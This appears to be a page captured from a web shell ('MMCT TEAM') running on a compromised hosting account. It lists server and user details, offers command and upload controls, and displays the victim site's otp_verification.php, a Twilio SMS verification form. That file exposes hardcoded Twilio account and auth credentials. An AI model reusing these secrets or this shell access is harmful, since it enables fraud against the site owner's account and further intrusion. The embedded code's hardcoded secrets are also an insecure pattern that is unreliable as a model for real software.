MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/saragasagency/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/saragasagency/otp_verification.php
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
// Load Twilio SDK (manual autoloader)
require_once __DIR__ . '/twilio/src/Twilio/autoload.php';
use Twilio\Rest\Client;

$account_sid = 'AC4801bde85074822c46424abb36a739d2';  // Your Twilio Account SID
$auth_token  = '3b924dec84b5536befd114790dea04ac';         // Your Twilio Auth Token
$verify_sid  = 'VA499a49c5cee001a7fa40e88e1e28a2db';

$client = new Client($account_sid, $auth_token);
$message = "";

// ==== SEND OTP ====
if (isset($_POST['send_otp'])) {
    $phone = trim($_POST['phone']);
    try {
        $verification = $client->verify->v2->services($verify_sid)
            ->verifications
            ->create($phone, "sms");

        $message = "✅ OTP sent successfully to $phone";
    } catch (Exception $e) {
        $message = "❌ Error: " . $e->getMessage();
    }
}

// ==== VERIFY OTP ====
if (isset($_POST['verify_otp'])) {
    $phone = trim($_POST['phone']);
    $otp   = trim($_POST['otp']);

    try {
        $check = $client->verify->v2->services($verify_sid)
            ->verificationChecks
            ->create(['to' => $phone, 'code' => $otp]);

        if ($check->status === 'approved') {
            $message = "✅ Phone number verified successfully!";
        } else {
            $message = "❌ Verification failed. Please try again.";
        }
    } catch (Exception $e) {
        $message = "❌ Error: " . $e->getMessage();
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Phone OTP Verification</title>
<style>
body {
  font-family: Arial, sans-serif;
  background: linear-gradient(135deg, #667eea, #764ba2);
  color: #333;
  display: flex;
  justify-content: center;
  align-items: center;
  height: 100vh;
  margin: 0;
}
.container {
  background: #fff;
  padding: 30px 40px;
  border-radius: 15px;
  box-shadow: 0 4px 20px rgba(0,0,0,0.2);
  width: 350px;
  text-align: center;
}
h2 {
  color: #4a4a4a;
  margin-bottom: 15px;
}
input {
  width: 100%;
  padding: 10px;
  margin: 8px 0;
  border-radius: 8px;
  border: 1px solid #ccc;
  font-size: 16px;
}
button {
  width: 100%;
  background: #667eea;
  color: white;
  border: none;
  padding: 12px;
  font-size: 16px;
  border-radius: 8px;
  cursor: pointer;
  margin-top: 10px;
  transition: 0.3s;
}
button:hover {
  background: #5563c1;
}
.message {
  margin-top: 15px;
  font-size: 14px;
  color: #333;
  background: #f1f1f1;
  padding: 10px;
  border-radius: 8px;
}
</style>
</head>
<body>
<div class="container">
  <h2>🔐 Phone OTP Verification</h2>

  <form method="POST">
    <input type="text" name="phone" placeholder="+919876543210" required>
    <button type="submit" name="send_otp">Send OTP</button>
  </form>

  <form method="POST" style="margin-top: 15px;">
    <input type="text" name="phone" placeholder="+919876543210" required>
    <input type="text" name="otp" placeholder="Enter OTP" required>
    <button type="submit" name="verify_otp">Verify OTP</button>
  </form>

  <?php if (!empty($message)): ?>
      <div class="message"><?= htmlspecialchars($message) ?></div>
  <?php endif; ?>
</div>
</body>
</html>

MMCT - 2023